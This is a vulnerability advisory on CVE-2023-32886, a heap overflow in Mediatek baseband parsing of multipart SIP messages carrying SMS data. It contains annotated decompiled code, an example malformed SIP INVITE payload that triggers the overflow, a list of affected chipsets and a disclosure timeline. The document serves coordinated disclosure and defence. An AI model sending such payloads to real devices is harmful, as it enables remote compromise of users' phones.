An attacker sending a malformed SIP message over VoLTE to a device with a Mediatek baseband can trigger the vulnerability described here.

The impact is Heap Overflow in the baseband, triggered by malformed multipart SIP messages containing SMS data.

The vulnerability described in this advisory affected a wide range of Mediatek devices. The January 2024 issue of the Mediatek Security Bulletin contains this vulnerability as CVE-2023-32886.

Vulnerability Details

SIP supports the processing of multipart requests (as described in RFC 1341), where a single message can contain multiple body parts, with different content type. In these messages each body fragment is separated by a boundary tag, that is defined in the boundary parameter of the Content-Type MIME header. Body fragments that are bounded by this tag can contain their own specific MIME headers.

int inet_msg_unpack_body (
  byte app_type,
  uint unpack_mode,
  _inet_message_struct *inet_msg,
  _inet_mem_struct *inet_mem
) {
  // [...]
  // [0] Retrieve the boundary tag
  boundary_val = inet_msg_get_param_val(cont_type_hdr->param_list, "boundary");
  if (boundary_val == NULL) {
    boundary_len = 0;
    boundary_val = NULL;
  }
  else {
    boundary_val = VOIP_strdup(boundary_val, "protocol/ims/core/src/sip/inet_msg_unpack.c", 0xb6d);
    if (boundary_val == NULL) {
      return 19;
    }
    inet_msg_mime_quote(boundary_val);
    boundary_len = strlen(boundary_val);
  }
  if (inet_mem->pos_p == NULL) {
    if (boundary_val != NULL) goto LAB_90a7dae8;
  }
  else if (boundary_val != NULL) {
    pcVar1 = strstr(inet_mem->pos_p,boundary_val);
    if (pcVar1 != NULL) {
      body_idx = 0;
      // [SysMsg] find % in body
      _dhl_index_trace(0,0x32b,0x32b010c0,&DAT_0x32b010c0_0x32b,boundary_val);
      body_start_p = NULL;
      // [1] Iterate message lines
      while (curr_line_p = inet_msg_get_line(inet_mem), curr_line_p != NULL) {
        if (inet_mem->error_mb == 0) {
          line_len = strlen(curr_line_p);
          // exact match of "--boundaryStr"
          if (
                (boundary_len + 2 == line_len) &&
                (*curr_line_p == '-') &&
                (curr_line_p[1] == '-') &&
                (memcmp(curr_line_p + 2, boundary_val, boundary_len) == 0)
          ) {
            // [...]
            // [2] When a new fragment is encountered the content length is retrieved
            if (inet_msg_unpack_header(app_type,unpack_mode,inet_msg,inet_mem,2,body_idx) != 0) {
              voip_free_mem(boundary_val);
              return 12;
            }
            content_length = 0;
            content_type_str = NULL;
            cont_trf_enc_val = NULL;
            inet_msg_get_header_field(app_type,inet_msg,2,0,body_idx,IH_CONTENT-LENGTH,NULL,FMT_UNPACKED,&content_length);
            inet_msg_get_header_field(app_type,inet_msg,2,0,body_idx,IH_CONTENT-TYPE,NULL,FMT_STR_PACKED,&content_type_str);
            if (content_type_str == NULL) {
              // [SysMsg] bdy_content_type is NULL
              _dhl_index_trace(0,0x32b,0x32b010b0,0);
              is_raw_data = 0;
            }
            else {
              is_raw_data = (uint)(strcmp(content_type_str,"application/vnd.3gpp.sms") == 0);
              voip_free_mem(content_type_str);
              inet_msg_get_header_field(app_type,inet_msg,2,0,body_idx,IH_CONTENT-TRANSFER-ENCODING,NULL,FMT_STR_PACKED,&cont_trf_enc_val);
              if (cont_trf_enc_val != NULL) {
                if (strcmp(cont_trf_enc_val,"binary") == 0) {
                  // [3] Flag is set that the data is in binary format
                  is_raw_data = 1;
                }
                voip_free_mem(cont_trf_enc_val);
              }
            }
            // [SysMsg] is_raw_data (%), content_length (%)
            _dhl_index_trace(0,0x32b,0x32b010c3,&DAT_0x32b010c3_0x32b, is_raw_data,content_length);
            body_start_p = (void *)inet_mem->pos_p;
            if ((content_length != 0) && (app_type != 0) || (is_raw_data != 0)) {
              if ((inet_mem->msg_buff_end_p <= body_start_p) ||
                  (inet_mem->msg_buff_end_p - body_start_p < content_length)
              ) goto LAB_error;
              // [4] Memory is allocated based on Content-Length of fragment
              body_start_p = voip_get_mem(content_length,"protocol/ims/core/src/sip/inet_msg_unpack.c",0xc07);
              if (body_start_p == NULL) goto LAB_error;
              src = inet_mem->pos_p;
              curr = src;
              while (*curr != '-' || curr[1] != '-' || memcmp(curr + 2,boundary_val,boundary_len) != 0) {
                curr = curr + 1;
              }
              // [5] Fragment size is calculated based on the boundary tag
              fragment_size = (uint)(curr - src) - 2;

              // [6] The content of the fragment is copied into the heap buffer
              __wrap_memcpy(body_start_p, src, fragment_size);
              inet_msg_add_body_data(inet_msg,body_idx,body_start_p,fragment_size,0,0,0);
              inet_mem->pos_p = fragment_size + inet_mem->pos_p + 2;
              // [...]
            }
            // else of "--boundaryStr" match
            body_idx = body_idx + 1;
          }
          // [...]
        }
      }
      voip_free_mem(boundary_val);
      return 0;
    }
    // [...]
  }
  // [...]
  return 19;
}

The vulnerable function first retrieves the boundary tag from the content-type header [0]. It proceeds to iterate over each line of the message [1] and if a boundary tag is encountered the dedicated MIME headers of the message fragment are parsed [2]. If the fragment contains SMS data (content type is application/vnd.3gpp.sms) a flag is set to signal binary data [3]. This is a special case, because the boundary tag might appear anywhere within the data and it is not restricted to start at the beginning of a new line.

If the fragment’s data type is binary the heap buffer that would hold the content is allocated based on the length specified in the content-length header [4]. However, before the fragment data is copied the message is searched byte-by-byte for the closing tag and data size is calculated again based on the tag’s location [5]. Then the fragment data is copied into the previously allocated heap buffer using this recalculated length value.

The vulnerability is the direct result of the disconnect between the size of the fragment data buffer allocation and the size used to copy the actual content into it. The allocation size is retrieved from the fragment’s content-length header, while the memory copy is executed with size calculated from the boundary tag. The result is a very strong heap overflow primitive, where the attacker can chose the size of the initial allocation, the length of the overflow and the content of the overwritten bytes. The heap buffer is allocated with the __kal_adm_alloc allocator.

Example Payload

INVITE sip:192.168.101.3:50014;transport=tcp SIP/2.0
(...))
Content-Length: 159
Content-Type: multipart/mixed;boundary="boundary1"

--boundary1
Content-Type: application/vnd.3gpp.sms
Content-Transfer-Encoding: binary
Content-Length: 32

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
--boundary1--

Affected Devices

MT2735, MT6813, MT6833, MT6833P, MT6835, MT6853, MT6853T, MT6855, MT6873, MT6875, MT6877, MT6877T, MT6878, MT6879, MT6880, MT6883, MT6885, MT6886, MT6889, MT6890, MT6891, MT6893, MT6895, MT6895T, MT6896, MT6897, MT6980, MT6980D, MT6983T, MT6983W, MT6983Z, MT6985, MT6985T, MT6989, MT6990, MT8673, MT8675, MT8676, MT8791, MT8791T, MT8792, MT8796, MT8797, MT8798

Note: At the time of discovery, the vulnerable function appeared to be fixed in the latest software updates of some models, such as the Xiaomi Poco M3 Pro 5G (Dimensity 700), while it remained vulnerable in many others, such as Xiaomi Poco X3 GT (Dimensity 1100).

This led us to believe that the vulnerability was not addressed as a security problem, therefore it was reported. See timeline for more details.

Timeline

  • 2023.07.28. Bug reported to Mediatek PSIRT
  • 2023.08.07. Mediatek confirms vulnerability
  • 2023.08.07. Mediatek responds the vulnerability is a duplicate of another issue
  • 2023.08.07. TASZK provides analysis to show that the existing patches of select models indicate that the code change was missed as a security issue previously
  • 2023.08.07. Mediatek response does not identify any existing CVE or fix timeline, but confirms that the vulnerability is unfixed and there is no security bulletin addressing it
  • 2024.01.02. Mediatek releases security bulletin
  • 2025.06.26. Vulnerability publicly disclosed at Troopers ‘25
  • 2025.10.01. Advisory release